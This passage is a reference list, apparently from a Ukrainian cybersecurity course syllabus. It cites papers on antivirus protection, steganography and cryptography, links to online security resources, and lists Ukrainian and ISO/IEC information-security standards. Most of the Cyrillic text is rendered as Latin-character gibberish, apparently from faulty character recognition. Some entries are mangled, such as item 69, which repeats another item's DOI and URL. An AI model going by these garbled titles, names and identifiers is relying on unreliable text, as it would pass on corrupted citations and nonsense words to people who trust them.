66. CwmipuoB O.A., CmipuoBa T.B., Koncrantunosa JI.B., CmipnoB C.A.,
SAxumenxko H.M., «JlocmimkeHHs CTIHKOCTI 0 JHHIAHOTO  KPHUNTOAHAII3Y
3aMpONOHOBAHOI (YHKIIII TelryBaHHS YAOCKOHAJIIEHOTO MOJYJIA KpuUnTorpadigyHOro
3aXUcTy B 1HGOpPMAIIITHO-KOMYHIKAIIHHUX cucteMax» CHucTeMH yHpaBIliHHS,
HaBiramii Ta 3B'3ky, 2022, Ne 1(67). C. 84-89. Pexum gocrymy:
http://journals.nupp.edu.ua/sunz/article/view/2449/1918 (daxoBe  BHJAHHS.
Kareropist «b»)

67. Smirnov O., Kuznetsov A., Kovalchuk D., Kuznetsova T. «<New Technique
for Hiding Data in Cover Images Using Adaptively Generated Pseudorandom
Sequences». CEUR Workshop Proceedings Volume 2732, 2020, Pages 214-227.
Pexxum moctymy: http://ceur-ws.org/\VVol-2732/20200214.pdf  (3akopmonHe (axose
BHUIAHHS)

68. CwmipuoB O.A., CwmipuoB C.A., Ilomimyk JILI.,, CwmipuoBa T.B.,
Konomninpka-Crnobonentok O.K. Meroa (popMyBaHHSI aHTUBIPYCHOT'O 3aXUCTY JaHUX
3 BHKOPHUCTAHHSIM Oe3mevyHoi MapuipyTtuzaiii metaganux. KibepOesmeka: ocBiTa,
Hayka, TexHika. — Tom 3 Ne 3. — KuiB: KV im. bopuca I'pinuenka. — 2019. — C. 63-87.
https://doi.org/10.28925/2663-4023.2019.3.6387 Pexum JOCTYILY:
http://nbuv.gov.ua/UJRN/cest 2019 3 7 (daxoBe BHIAHHS).

69. CwmipnoB O.A., CmipHoB C.A., [Tomimyxk JI.I., Konomninpeka-Cno6oaeHIOK
O.K., CmipnoBa T.B. GERT-moneni TexHon0rii XMapHOTr0 aHTUBIPYCHOTO 3aXHCTY.
KiGepbesneka: ocBiTa, Hayka, TexHika.— Tom 2 Ne 2. —Kwuis: KV im.. Bopuca
I'pinuenka. — 2018. - C.  7-30. https://doi.org/10.28925/2663-4023.2018.2.730
Pexum JOCTYIIY: http://nbuv.gov.ua/UJRN/cest_2018 2 3 63-87.
https://doi.org/10.28925/2663-4023.2019.3.6387. Pexum JOCTYTIY:
http://nbuv.gov.ua/UJRN/cest 2019 3 7

70. CwmipnoB O.A., Menemxko €.B., Xox B.JI. JlocmimkeHHS METOAIB ayAUTy
CUCTEM ympaBiiHHA 1H(DOopMaliiiHOW Oe3nekor. CucTeMu ympaBiiHHS, HaBiraiii Ta
3B s13Ky. — Bunyck 1 (41). —IToaraBa: IToatHTY.-—2017.—-C. 38-42.. Pexum
nocrymy: http://nbuv.gov.ua/UJRN/suntz 2017 1 12

71. CwmipnuoB O.A., Cmipuos C.A., inuk O.K., pees O.M. CriociO KOHTPOJIIO
JHINA 3B’S3KY TEJIEKOMYHIKAI[IHHOI CUCTEMHU aHTUBIPYCY.. 30IpHUK HAYKOBUX Mpallb
XapkiBcbkoro yHiBepcutery [loBitpsaux Cun.  Bunyck 2 (47). — Xapkis:
XVIIC. - 2016. - C. 121-127. Pexum JOCTYIY:
http://nbuv.gov.ua/UJRN/ZKhUPS 2016 2 32

72. CwmipuoB O.A., CmipaoB C.A. [linux O.K., [IpeeB O.M. Moaeni cuctremu
HEWPOMEPEKEBUX EKCIEepPTIB Oe3MeyHOoi MapHipyTH3alii y XMapHUX aHTUBIPYCHUX
cuctemMax. 30ipHUK HaykoBUX mpaup "Cucrtemu o0poOku iHpopmariii”. — Bumyck
3(140). — X.. XVIIC - 2016. - C. 36-39.Pexum JOCTYIY:
http://www.hups.mil.gov.ua/periodic-app/article/16443
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Indopmaniiini pecypcu

75. Kypc «Bcerym po kibepOesmekm» Ha CepBepi JUCTAHIIIHHOI OCBiTa
IHHTY. — URL.: https://moodle.kntu.kr.ua/course/view.php?id=1017

76. Omnnaitn-kypcu Coursera. — URL: https://www.coursera.org

77. Axanemis Cisco. — URL: https://www.netacad.com

78. Omn-naitn pecype 3 kibepoesneku. — URL: https://www.itsecurityguru.org/

79. Omn-naiin pecypc 3 kibepoOesmexu. — URL:
https://www.scmagazine.com/security-weekly-blog

80. Omn-naita pecype 3 kibepoesnexu. — URL.: https://thehackernews.com/

81. Omn-maitn pecypc 3 kibepoesmekn. — URL: https://www.infosecurity-
magazine.com/

82. Omn-naitn pecypc 3 kibepoesnexu. — URL: https://www.csoonline.com/

83. Om-naitn pecypc 3 kidbepoesnexku. — URL: https://www.tripwire.com/state-
of-security

84. Omn-naitn pecypc 3 kibep6esnexu. — URL: https://www.schneier.com/

85. Omn-naitn pecypc 3 inpopmariiiaux Texnonorin. — URL:https://dou.ua/

86. Ilomykosa cucrema. — URL:https://www.google.com/

87. Omn-naitH pecypc neperisay Bineoypokis.— URL:https://www.youtube.com

3aKoHU, HOPMATHUBHI AKTH, CTAHAAPTH Ta cnenudikamii

S.1. JAbH A.2.2-2-96 JlepxaBHi OyaiBenbH1 HopMu YKpainu. [IpoekTyBaHHS.
Texniunuii 3axuct iHGopmallii. 3arajqbHi BUMOTH JI0 OpraHi3ailii MpOeKTyBaHHS 1
MPOEKTHOI JOKYMEHTAIlli JyIsl Oy1IBHUIITBA.

S.2.  JACTY 1.0-93 Hepxana Cuctema crangaptusaiiii Ykpainu. OCHOBHI
MOJIO’KEHHS.

S.3.  JICTY 1.3-93 JlepxaBna Cucrtema crangaptuzaiii Ykpaiau. [Topsmox
po3po0aeHHs 1 ToOyA0BH, BUKIAAEHHS Ta OPOPMIIEHHS TEXHIYHUX YMOB.

S.4.  JCTY 1.4-93 JlepkaBna Cucrema cranaaptusaiii Ykpainu. Ctannaptu
nignpueMcTBa. OCHOBHI TOJIOKEHHS.

S.5.  JICTY 1.5-93 [lepxaBHa Cuctema crangapTuzaiii YKpaiHu. 3araibHi
BHUMOTH /10 TOOYA0BH. BUKJIaAy, OPOPMIIEHHS Ta 3MICTY CTaHAAPTIB.

S.6. JACTY 1.6-97 JlepxaBuna Cuctema ctanaaprtuzaiii Ykpainu. [Topsimaok
JIEp’KaBHOI peecTparlii Traimy3eBUX CTaHIAPTIB, CTAHAAPTIB HAYKOBO-TEXHIYHHX Ta
1HKEHEPHUX TOBAPUCTB 1 CI1JIOK.

S.7. JACTY 2226-93 ABromaTu30BaHi CUCTEMH. TepMiHU Ta BUSHAYCHHS.

S.8.  JACTY 2296-93 Hanionanbuuii 3Hak BianosigHocTi. Popma, po3mipu,
TEXHIYHI BUMOTHY Ta IPaBUjia 3aCTOCYBAHHS.

S.9. JACTY 2462-94 Ceprudikamis. OcHOBHI TOHSATTA. TepmiHu Ta
BU3HAYCHHSI.

S.10. ACTY 3410-96 Cucrema ceprudikamii  YrpCEITPO.OcHoBHI
MOJIO>KEHHS.

S.11. JACTY 3412-96 Cucrema ceprudikamii YkpCEIIPO.Bumoru no
BUIIPOOYBAIbHUX JTAOOPATOPiil Ta MOPAIOK IX aKpeAUTALIi.
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S.12. JICTY 3413-96 Cucrema ceprudikarii  YkpCEITPO.Ilopsinok
npoBeaeHHS cepTudikaiii MpoIyKIii.

S.13. JACTY 3417-96 Cucrema ceprudikamii YxpCEITPO.Ilpouenypa
BU3HAHHSI pe3yJIbTaTiB cepTUdikalii mpoayKIrii, mo iMIOPTy€EThCS.

S.14. JACTY 3419-96 Cucrema ceprudikamii YkpCEITPO.Ceptudikaiis
cucteM sikocTi. [lopsiiok npoBeaeHHS.

S.15. JACTY 3396.0-96. [epxaBHuil crangapT YKpainu. 3axucT iHopmarri.
Texniunuii 3axuct iHpopmarliii. OCHOBHI MMOJOKEHHS.

S.16. JICTY 3396.1-96. [lep>xaBHuii crangapt Ykpainu. 3axuct iH(opmarrii.
Texniunnii 3axuct iHpopmartii. [Topsimok mpoBeaeHHS pPOOIT.

S.17. JACTY 3396.2-97. [lepxxaBHuil crangapT YKpainu. 3axucT iHopmarri.
Texuiynuit 3axuct iHbopmartiii. TepMmiHu Ta BU3HAYEHHS.

S.18. JACTY 4145-2002 «Iudopmariiini  TexHosorii. Kpunrtorpadiunuit
3axuct iHpopmaii. [{udpoBuil mianuc, MO IPYHTYETbCS HA EMINTUYHUX KPUBUX.
dopMyBaHHS Ta TIEPEBIPSTHHS.

S.19. JACTY 4249:2003 Iadopmariitai Texnosorii. Hactanosa momgo POSIX-
cymicaux cepenosuin Biakputux cucrteM (POSIX-OSE) (ISO/IEC TR 14252:1996,
MOD).

S.20. ACTY 7564:2014 «Iadopmariiini TexHonorii. Kpunrtorpadiunuit
3axuct iHpopmarii. Dynkiris renryBandsy. (Kynuna).

S.21. JACTY 7624:2014 «Iadopmamiiiai TexHonorii. Kpunrtorpadiunuit
3axucT 1H(popManii. ATTOpUTM CUMETPUYHOTO OJIOKOBOTO NepeTBOpeHHs». (KanuHa).

S.22. JICTY ISO/IEC 7498-1:2004 Iaudopmartiiini TexHoorii. B3aeMo3B 5130k
BigKpUTUX crcTeM. bazoBa etanonna moaens. Yactuna 1. Eranonna monens (ISO/IEC
7498 1:1994, IDT).

S.23. JICTY ISO 7498-2:2004 Cuctemu o00pobOnenns iHdopmarii.
B3aemMo3B's130k BigkpuTux cucrteM. bazosa eramonHa Mmoaenb. YacTuHa 2. ApXiTekTypa
3axucty indopmariii (1ISO 7498-2:1989, IDT).

S.24. JICTY ISO/IEC 7498-3:2004 Cucremu o0poOseHHs iH(OpMAIii.
B3aemo3B 5130k BigkpuTux cucreM. bazoBa erasonna mojens. Yactuna 3.

S.25. JCTY 8845:2019 «Indopmariitai Texnonorii. Kpunrtorpadiunuit
3axucT 1H(popMalli. AITOPUTM CHUMETPUYHOTO TOTOKOBOTO TIEPETBOPEHHS.
(STRUMOK).

S.26. JCTY ISO/IEC 9796-2:2015 (ISO/IEC 9796-2:2010, IDT)
«ladopmarriiini  Texnosorii. Merogu 3axucty. Cxemu mudpoBOro MIAMUCY, SIKi
3a0€e31euyroTh BITHOBJIEHHS MOB1IOMIIeHHS. YacTrHa 2. MexaHi3Mu, 10 IPYHTYIOThCS
Ha (aKTOpHU3ALI] LIUTUX YUCEID».

S.27. JACTY ISO/IEC  9796-3:2015  (ISO/IEC9796-3:2006, IDT)
«IlHdopmariiini Texnonorii. Meroau 3axucty. CxemMu HUGPPOBOro MIAMUCY, SIKI
3a0e3MeuyroTh BITHOBJICHHS MMoBigoMIIeHHs. YacTuHa 3. MexaHi13MH, 110 IPYHTYIOThCS
Ha JUCKPETHOMY JoTapupMi».

S.28. JCTY ISO/IEC 9797-2:2015 (ISO/IEC 9797-2:2011, IDT)
«Indopmariiini texnosorii. Meroau 3axucty. Koau aBTeHTH(IKaIli MOBIIOMIIEHb
(MACs). Yactura 2. MexaHi3MH 110 BUKOPUCTOBYIOTH CIIEI[iaJli30BaHy Telll-

(yHKLIIO».
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S.29. JCTY ISO/IEC 9798-2:2015 (ISO/IEC 9798-2:2008; Cor 3:2013, IDT)
«Iudopmaniiini Texnomorii. Meronu 3axucty. ABreHtudikaiis 06’exriB. Yactuna 2.
MexaHi3mu, 110 BUKOPUCTOBYIOTH CUMETPUYHI aITOPUTMH MIU(PYBAHHSD).

S.30. HACTY ISO/IEC 9798-3:2002 (ISO/IEC 9798-3:1998; Cor 1:2009; Cor
2:2012) «Iadopmamniiini TexHomorii. Meronu 3axucty. ABTeHTH(]IKAIisI CyO’ €KTIB.
Yactuna 3. MexaHi3MH 3 BUKOPUCTAHHSAM METOY IIU(POBOTO MIAMHCY.

S.31. JACTY ISO/IEC 9798-4:2015 (ISO/IEC 9798-4:1999; Cor 1:2009; Cor
2:2012, IDT) «Iudopmamiiiai TexHosorii. Meroan 3axucTy. ABTEHTH(DIKAIsA
00’exTiB. YactuHa 4. MeToau, 1110 BUKOPHUCTOBYIOTh KpUNITOTpadiuHy MEpeBIpOUHY
(yHKLIIO».

S.32. JACTY ISO/IEC 9798-5:2015 (ISO/IEC 9798-5:2009, IDT)
«Indopmarniiini TexHosorii. Metonu 3axucty. ABTeHTu(ikaiis 06’ exriB. Yactuna 5.
MexaHi3MH, 110 BAKOPUCTOBYIOTh METOJIA HYJIbOBOI 0013HAHOCTI».

S.33. JACTY ISO/IEC 9798-6:2015 (ISO/IEC 9798-6:2010, IDT)
«Iadopmariiini Texnonorii. Meroau 3axucty. ABreHTudikaiiis o0’exrtiB. YactuHa 6.
MexaHi3mHu, 110 BUKOPUCTOBYIOTh PYYHE MEPEAABAHHS TAHUX).

S.34. JCTY ISO/IEC TR 10032:2012 Iudopmariiini TexHosorii. ETagonna
mojenb kepyBants manumu (ISO/IEC TR 10032:2003, IDT).

S.35. JACTY ISO/IEC 10116:2019 (ISO/IEC  10116:2017, IDT)
«IHdopmariiini Texnosorii. Merogu 3axucty. Pexxumu poGoTH N-OiTHUX OJIOKOBUX
U QPiBY».

S.36. JACTY ISO/IEC 10118-2:2015 (ISO/IEC 10118-2:2010; Cor 1:2011,
IDT) «Iudopmaniiini TexHosorii. Meroau 3axucry. I'em-pynkuii. Yactuna 2. ['er-
(byHKIIT, IT0 BAKOPUCTOBYIOTh N-O1THUM OJIOKOBUIN UMDY .

S.37. JACTY ISO/IEC 10118-3:2005 (ISO/IEC 10118-3:2004; Cor 1:2011,
IDT) «Indopmariiini texnonorii. Meromu 3axucty. [em-¢ynkmii. Yactuna 3.
CrneuianizoBaHi rem-(QyHKI.

S.38. JICTY ISO/IEC 10118-4:2015 (ISO/IEC 10118-4:1998; Cor 1:2014;
Amd 1:2014, IDT) «Iudopmariiitai TexHomorii. Meroau 3axucty. Iem-(yHKIii.
Yactuna 4. I'em-GyHKITT, 10 BAKOPUCTOBYIOTh MOAYIBHY apU(PMETHKY.

S.39. JCTY ISO/IEC 11770-2:2015 (ISO/IEC 11770-2:2008; Cor 1:2009,
IDT) «Indopmariitai Texnosorii. Metoau 3axucty. KepyBanns kiatrouamu. Yactuna 2.
MexaHi3M# 3 BUKOPUCTAHHSIM CUMETPUYHUX METOIIBY.

S.40. JACTY ISO/IEC 11770-3:2015 (ISO/IEC 11770-3:2008; Cor 1:2009,
IDT) «Indopmartiitai Texnosorii. Metoau 3axucty. KepyBanus kiarouamu. Yactuna 3.
MexaHi3M# 3 BAKOPUCTAHHSIM aCUMETPUIHUX METOIBY.

S41. JCTY ISO/IEC 11770-4:2015 (ISO/IEC 11770-4:2008; Cor 1:2009,
IDT) «Indopmariitai Texnosorii. Metoau 3axucty. KepyBanus kitrouamu. Yactuna 4.
MexaHi3MH , 3aCHOBaH1 Ha HECTIUKUX CEKpETaxy.

S42. JCTY ISO/IEC 11770-5:2015 (ISO/IEC 11770-5:2008, IDT)
«Ilndopmarniiini Texnonorii. Meroau 3axucty. KepyBanns kmouamu. YactuHa 5.
KepyBanHs rpynoBUMH KIIOUaMM».

S.43. JCTY ISO/IEC 13249-1:2017 Tudopmariiini TexHonorii. MoBu 6a3
nanux. SQL mynpTMMesia Ta makeTu npukiaaHux nporpam. Yactuna 1. OcHOBHI

nostockenus (ISO/IEC 13249-1:2016, IDT).
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S44. JCTY ISO/IEC 14888-2:2015 (ISO/IEC 14888-2:2008, IDT)
«Indopmaniiini TexHonorii. Meroau 3axucty. L{udpoBi mignucu 3 JONOBHEHHSIM.
Yactuna 2. MexaHi3mMH, 10 TPYHTYIOThCS Ha (DakTOpHU3aIlli IITHX YHCET.

S.45. JCTY ISO/IEC 14888-3:2019 (ISO/IEC 14888-3:2018, IDT)
«Iudopmarniiini Texnosorii. Meronu 3axucty. Lludpoi mianucu 3 TONOBHEHHSM.
Yactuna 3. MexaHi3MH, 110 IPYHTYIOThCSI HA TUCKPETHOMY JIoTapu(PMyBaHHI».

S.46. JACTY ISO/IEC 15408. «3arambHi KpuTepii OIHKKA Oe3meKu
iHpopmamiitnux TexHonorii» (The Common Criteria for Information Technology
Security Evaluation).

S.47. JICTY ISO/IEC 15408-1:2022. Indopmariiina Oe3reka, KibepOeseka
Ta 3axucT KoH¢ineHmiitHocTi. Kpurepii ouinku [T-Oe3mexu. Yactuna 1. Beryn i
3arajgbHa MOJIEIIb.

S.48. ISO/IEC 15408-2:2022. Iudopmariiina Oe3mneka, kidepOesmeka Ta
3axucT KoH}piaeHmiiHocTi. Kpurepii ominku [T-6e3nekn. Yactuna 2. OyHKIIOHABHI
KOMIIOHEHTHU O€3MEKH.

S.49. ISO/IEC 15408-3:2022. Iudopmariiiina Oe3mneka, KibepOe3meka Ta
3axuct KoHGineHmiitHocTi. Kpurepii ominroBanHs [T-6e3nexu. Yactuna 3.
KomnonenTu 3abe3neueHHs OE3MEKHU.

S.50. ISO/IEC 15408-4:2022. Iudopmariiina Oe3mneka, kidepOesmeka Ta
3axucT KoHpiaeHiHocTl. Kputepii ouinku [T-6e3nexku. Yactuna 4. Ctpykrypa ais
crienudikalii METO/IIB OLIIHIOBAHHS Ta JISUIbHOCTI.

S.51. ISO/IEC 15408-5:2022. IndopmariiiHa Oe3smeka, KiOepOe3neka Ta
3axuct KoHbineHiiHOCcTi. Kpurtepii omintoBanHs [T-6esmekun. Yactuna 5.
[TonepenHbO BU3HAYEH] TAKETU BUMOT /10 OE3MEKH.

S.52. BSI-BS ISO 15782-1. Certificate management for financial services
Part 1: Public key certificates.

S.53. JCTY ISO/IEC 15946-1:2019 Indopmarniitai Texnosorii. Metoau
3axucty. KpunrorpadiuyHi MeTOoau Ha OCHOBI eMNTUYHMX KpuBuX. Yactuna 1.
Baranpui monokeHus (ISO/IEC 15946-1:2016. Information technology — Security
techniques — Cryptographic techniques based on elliptic curves —Part 1. General,
IDT).

S.54. ISO/IEC 15946-2:2002. Information technology — Security
techniques — Cryptographic techniques based on elliptic curves —Part 2: Digital
signatures.

S.55. JICTVY ISO/IEC 15946-5:2019 (ISO/IEC 15946-5:2017) «Iadopmartiitai
TexHoJorii. Mertonu 3axucty. KpunrtorpadiuyHi METOIM Ha OCHOBI ENINTUYHUX
kpuBuX. YactuHa 5. ['eHepyBaHHS eMNTUIHIX KPUBUX.

S.56. [ISO/IEC 17000:2020 Conformity assessment — VVocabulary and general
principles.

S.57. JCTY EN ISO/IEC 17065:2014 Ouinka BigmosimHocTi. Bumorn mo
opraniB 3 ceprudikamii mpoaykiiii, mporeciB Ta nociayr (EN ISO/IEC 17065:2012,
IDT).

S.58. JCTY ISO/IEC 18031:2015 (ISO/IEC 18031:2011; Cor 1:2014, IDT)
«IHdopmariiini TexHosorii. Metoau 3axucty. I 'eHepyBaHHS BUITAIKOBUX OITIBY.

S.59. JACTY ISO/IEC 18033-2:2015 (ISO/IEC 18033-2:2006, IDT)
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«IHdopmarriiini TexHosorii. Metonu 3axucty. Anroputmu mudpysanas. Yactuna 2.
AcumeTpudHi uGpu».

S.60. JACTY ISO/IEC 18033-3:2015 (ISO/IEC 18033-3:2010, IDT)
«IHdopmarriiini TexHosorii. Metonu 3axucty. Anroputmu mudpysanas. Yactuna 3.
biokogi mudpu».

S.61. JCTY ISO/IEC 18033-4:2015 (ISO/IEC 18033-4:2011, 1IDT)
«IHdopmarriiini TexHosorii. Metonu 3axucty. Anroputmu mudpysanas. YactuHa 4.
[ToTokoBi mubpu».

S.62. JACTY ISO/IEC 18045:2015 Indopmamiitai TexHojorii. Meroau
3axucty. Mertonounoris ominioBanusa Oesmeku IT (ISO/IEC 18045:2022 Information
security, cybersecurity and privacy protection — Evaluation criteria for |IT
security — Methodology for IT security evaluation).

S.63. JACTY ISO/IEC 20085-1 «Metoau 3axucty IT. Bumoru mo 3aco0iB
TECTYBaHHS Ta METOMIB KamiOpyBaHHs 3ac001B TECTyBaHHS AJIA 3aCTOCYBaHHS Y
METO/IaX TECTyBaHHs IMOM SIKIIICHHS HEIHBa31MHUX aTak Ha KpUnTorpadpidyHi MOMYII.
Yactuna 1. MeTosiu Ta 3ac00M TECTYBaHHS.

S.64. JICTY ISO/IEC 20085-2 «Metoau 3axucty IT. Bumoru g0 3aco0iB
TECTYyBaHHS Ta METO/IB KamiOpyBaHHS 3ac001B TECTyBaHHS JIA 3aCTOCYBaHHS Y
METO/aX TECTYBaHHA IOM SIKIIIEHHSI HEIHBa31MHUX aTak Ha KpUOTorpapidyHi MOAYII.
Yactuna 2. MeToau Ta mpuiagu TECTOBOTO KalliOpyBaHHSD».

S.65. JCTY ISO/IEC 20543 «Iudopmamiiini TexHomorii. MeTronu 3axucry.
Meroau TecTyBaHHS Ta aHAJI3y JJIs1 TEHEPYBAaHHS BUTIAJKOBUX OITIBY.

S.66. JCTY ISO/IEC 27000:2019 Iudopmariitai TexHojorii. Meroan
3axucty. Cucremu ynpapiiHHs iHQopMaliiHoo 0e3nexoro. Oriisi 1 CIOBHUK TEPMIHIB
(ISO/IEC 27000:2018, IDT).

S.67. JCTY ISO/IEC 27001:2015 Iudopmariiiai TexHojorii. Meroan
3aXUCTYy CHCTEMH YIpaBliHHA iH(popMarliiiiHoo Oe3nekor. Bumorm (ISO/IEC
27001:2013; Cor 1:2014, IDT).

S.68. JACTY ISO/IEC 27002:2015 Indopmamiitai TexHomorii. Meroau
3axKCTy. 3BiJ NPAKTHK 1110710 3axoiB iHdopmMariiitaoi 0esnexku (ISO/IEC 27002:2013;
Cor 1:2014, IDT).

S.69. JICTY ISO/IEC 27003:2018 Indopmariitai TexHojorii. Meroan
3axucty. CucteMu ympaBiiHHS iH(opMaliiiHow Oe3nekoro. Hacranosa (ISO/IEC
27003:2017, IDT).

S.70. JACTY ISO/IEC 27004:2018 Indopmariitai TexHosorii. Meroau
3axucty. CucreMu ynpaBimiHHS — 1HGopmarliiiHOol0  0e3neko0. MOHITOPHUHT,
BUMIpIOBaHHs, aHai3yBaHHs Ta oriHtoBaHHs (ISO/IEC 27004:2016, IDT).

S.71. JACTY ISO/IEC 27005:2019 Indopmarniitai TexHojorii. Meroau
3axucTy. YTpaBimiHHsA pusukamu iHdopmarniiiHoi Oesnmexku (ISO/IEC 27005:2018,
IDT).

S.72. JCTY ISO/IEC 27006:2015 Indopmarniitai TexHojorii. Meroau
3axucTy. Bumoru 1o oprasis, skl HaJJal0Th TIOCIYTH 3 ayAUTy 1 cepTUdIKallli CUCTEM
ynpasiinHs iHpopMmariiinoro 6e3nexoro (ISO/IEC 27006:2015, IDT).

S.73. JACTY ISO/IEC 27007:2018 Indopmarniitai TexHojorii. Meroau
3axucTy. HactaHoBa moj0 ayauTy cUCTEM ympaBiiHHS 1HGOPMAIIHHOK O€3MeKOor0
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(ISO/IEC 27007:2017, IDT).

S.74. JCTY ISO/IEC TS 27008:2019 Indopmariiiai Texnomorii. MeToau
3axucty. HactaHoBa momo omiHioBaHHs 3axucty iHpopmariiitaoi 6e3nexu (ISO/IEC
TS 27008:2019, IDT).

S.75. JICTY ISO/IEC 27009:2018 Iudopmarmiiini TexHoorii. Meroau
3axucTy. Cucremu ynpasiaiHHA iHGoOpMaIliiHOK Oe3rekoro. Buznauenns pis chepu
3acrocyBanns ISO/IEC 27001. Bumoru (ISO/IEC 27009:2016, IDT).

S.76. JICTY ISO/IEC 27010:2018 Iudopmamiiiai TexHosmorii. MeToau
3aXMUCTy. YTOpaBmiHHSA 1HQOpPMAIIHHOW  OE3MeKO IS  MDKTaly3eBHX Ta
Mmixopranizamiitaunx komyHikaniit (ISO/IEC 27010:2015, IDT).

S.77. JICTY ISO/IEC 27011:2018 Iudopmarmiiini TexHoorii. Meroau
3axucTy. HacraHoBa 11 TeJeKOMYHIKAllIMHUX OpTraHizamiil 1010 YIpaBIiHHS
iHpopMariiiHoro Oe3mnexoro Ha ocHoBi ISO/IEC 27002 (ISO/IEC 27011:2016, IDT).

S.78. JACTY ISO/IEC 27013:2017 Iudopmariitai TexHojorii. Meroau
3axucty. HacranoBu juisa interpoanoro BupoBapkenHs ISO/IEC 27001 ta ISO/IEC
20000-1 (ISO/IEC 27013:2015, IDT).

S.79. ISO/IEC 27014:2020. Indopmarriiina 6e3meka, KibepOe3neka Ta 3aXUCT
KOH(D1ICHIIIMHOCTI — YTIpaBiiHHS 1HOPMAIIIITHOIO O€3MEKOI0.

S.80. ISO/IEC TR 27015:2012. Iudopmariiiai TexHoorii — Metoau
6e3rnekn — HactanoBu 11010 ynpasitiHHs iHGOpMaIliitHo 0e3neKoro 41 (piHaHCOBHUX
HOCIYT.

S.81. ISO/IEC TR 27016:2014. Iudopmaniiini TtexHonorii — TexHika
Oe3neku — YmpasiiHHs iHpopMalliitHoIo Oe3nekoro — ExkoHoMika opraHizaiiii.

S.82. JACTY ISO/IEC 27017:2017 Indopmamiitai TexHomorii. Meroau
3aXMCTy. 3B1J] MPAKTUK CTOCOBHO 3aX0J1B 1HPOpPMaLIiHOI O0€3MeKH, 10 IPYHTYIOThCS
Ha ISO/IEC 27002, nns xmapaux nocayr (ISO/IEC 27017:2015, IDT).

S.83. JACTY ISO/IEC 27018:2019 Indopmamiitai TexHomorii. Meroau
3axucty. Kojekc ycTaneHoi mpakTUKH JUIsl 3aXUCTY MEePCOHATBHOT 11eHTUdIKaIIHHOT
inpopmamii (PIl) y 3arampHOmOCTYMHMX XMapax, IO Jil0Th sk mporiecopu Pll
(ISO/IEC 27018:2019, IDT).

S.84. JCTY ISO/IEC 27019:2019 Indopmamiitai TexHomorii. Meroau
3axucTy. CuctemMu ympasiiHHs iH(popMaliitHOIO 0e3MeKO0 AJIsl EHEPTroNnocTavyaIbHUX
opranizariit (ISO/IEC 27019:2017, IDT).

S.85. JICTY ISO/IEC 27021:2018 Indopmarniitai TexHojorii. Meroau
3axucty. Cuctemu ympasiiHHs 1HGOpMaIIiitHOI Oe3nekoro. Bumorn no kommneTeHrii
npodecionaiis 3 ynpasiinas iHpopmartieto (ISO/IEC 27021:2017, IDT).

S.86. JACTY ISO/IEC 27031:2015 Iudopmarniitai TexHojorii. Meroau
3axucty. HacTaHOBHM 11010 TOTOBHOCTI 1H(GOPMAIIHHO-KOMYHIKALIMHUX TEXHOJIOT1H
s HeriepepBHOcTi poboTH Oi3Hecy (ISO/IEC 27031:2011, IDT).

S.87. JCTY ISO/IEC 27032:2016 Iudopmariitai TexHojorii. Meroau
3axucty. Hacranosu momo kibep6esneku (ISO/IEC 27032:2012, IDT).

S.88. JICTY ISO/IEC 27033:2017. Iudopmariiini TtexHosorii. Meroau
3axucry. besneka mepexi (ACTY ISO/IEC 27033-1:2017 Iadopmartiiiai TeXHOJIOTII.
Metoau 3axucry. 3axuct Mepexi. Hactuna 1. Orisa i monstrs (ISO/IEC 27033-
1:2015, IDT); ACTY ISO/IEC 27033-2:2016 Tudopmarmiiini TexHosorii. MeToau
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3axucty. besneka mepexi. Yactuna 2. HacTaHOBHM 110/10 TPOEKTYBAHHS Ta peaizalii
oesnekn Mmepexi (ISO/IEC 27033-2:2012, IDT); ACTY ISO/IEC 27033-3:2016
[adopmarriitai Texnosorii. Meronu 3axucty. besneka mepexi. Yactuna 3. Etanonni
MEpEXEeBl CIIeHapli. 3arpo3u, METOJM MPOEKTYBaHHS Ta MPOOJEeMHU YIPaBIiHHSA
(ISO/IEC 27033-3:2010, IDT); ACTY ISO/IEC 27033-4:2016 Iudopmariiini
texHosorii. Meroau 3axucty. besmexka wepexi. Yactuna 4. YOesnedeHHS
KOMYHIKAI[Iil MK Mepexkamu 3 BukopucTanHsaMm 1nio3iB oesneku (ISO/IEC 27033-
4:2014, IDT); ACTY ISO/IEC 27033-5:2016 Indopmariiiiai texHojorii. Meroau
3axucty. besneunicte Mepexi. YactrHa 5. Y0e3neueHHss KOMyHIKaIiH y3/10BK MEpExX
13 BuKOpHcTaHHsAM BipTyanbHuX npuBatHuX Mepex (VPNSs) (ISO/IEC 27033-5:2013,
IDT); ACTY ISO/IEC 27033-6:2018 Indopmariitai TexHosorii. MeToau 3axucry.
besneka mepexi. YHactuna 6. 3abe3nedeHHs: 6e3MpoBOAOBOTO n0CcTymy a0 |IP-mepexi
(ISO/IEC 27033-6:2016, IDT); ISO/IEC CD 27033-7. Iandopmariiina TEXHOJIOTIs.
besneka mepexi. Yactuna 7. HactanoBu 11040 0e3Meku BIpTyati3allii Mepexi).

S.89. JICTY ISO/IEC 27034:2017 Iudopmarmiiini TexHomorii. Meroau
3axucty. besneka nporpam (JICTY ISO/IEC 27034-1:2017 IadopmartiiiHi TEXHOJIOTI.
Meroau 3axucty. besneka nmpukmagaux nporpam. Yactuna 1. Ornspg 1 3aranbHi
nousatts (ISO/IEC 27034-1:2011; Cor 1:2014, IDT); ACTY ISO/IEC 27034-2:2016
[ndopmariitai TexHosorii. Meroau 3axucty. be3neka npukiaaHux nporpam. YactuHa
2. OcHoBHI HOpMmatuBHI TosockeHHs opranizamii (ISO/IEC 27034-2:2015, IDT);
JICTY ISO/IEC 27034-3:2018 Indopmaniiini Texnosorii. Metoau 3axucty. be3neka
npukinagaux nporpam. Yactuna 3. Ilpomec ympaBimiHHA O€3MEKOI0 MPHUKIATHUX
nporpam (ISO/IEC 27034-3:2018, IDT); ACTY ISO/IEC TS 27034-5-1:2019
[Hpopmariitni TexHosorii. 3axuct 3acTocyHkiB. Yactuna 5-1. Ctpykrypa AaHuUX
yIpaBIiHHA TPOTOKOJIaMU Ta 3axuctoM 3actocyHkiB. Cxemu XML (ISO/IEC TS
27034-5-1:2018, IDT); JACTY ISO/IEC 27034-6:2018 IndopmartifiHi TeXHOJOTII.
Meronu 3axucty. besneka npukimagaux mnporpam. YactuHa 6. BuBueHHsS BUMAAKiB
(ISO/IEC 27034-6:2016, IDT); ISO/IEC 27034-7:2018. IndopmariiiiHi TEXHOJIOTII.
besneka nomarkis. Yactuna 7. CTpyKTypa IpOTrHO3yBaHHS BIIEBHEHOCTI).

S.90. JICTY ISO/IEC 27035:2018 Iudopmamiiini TexHomorii. Meroau
